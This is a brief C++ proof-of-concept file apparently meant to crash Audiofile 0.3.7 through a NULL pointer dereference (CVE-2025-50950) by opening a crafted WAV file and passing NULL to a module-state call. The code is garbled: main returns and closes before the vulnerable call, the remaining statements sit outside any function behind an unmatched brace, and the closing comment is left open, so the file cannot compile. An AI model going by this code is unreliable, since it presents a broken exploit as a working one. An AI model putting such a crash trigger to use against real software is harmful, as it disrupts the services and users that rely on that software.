// CVE-2025-50950 PoC - NULL Pointer Dereference in Audiofile ModuleState::setup
// Description: This PoC triggers NULL pointer dereference in Audiofile v0.3.7
// Target: ModuleState::setup function
#include <audiofile.h>
#include <iostream>
int main() {
// Open a crafted audio file that triggers NULL pointer in ModuleState::setup
// The PoC file should be a valid audio file format (like WAV/AIFF)
// with malformed metadata that causes ModuleState initialization to fail
const char* poc_file = "CVE-2025-50950_poc.wav";
AFfilehandle file = afOpenFile(poc_file, "r", NULL);

return 1;
}
// This triggers the vulnerable code path
afSetModuleState(file, AF_DEFAULT_TRACK, NULL);
// If we reach here without crash, the vulnerability may be patched
afCloseFile(file);
return 0;
}
/*
Expected behavior:
- Vulnerable version: Program crashes with SIGSEGV (NULL pointer dereference)
- Patched version: Handles NULL gracefully or rejects invalid input
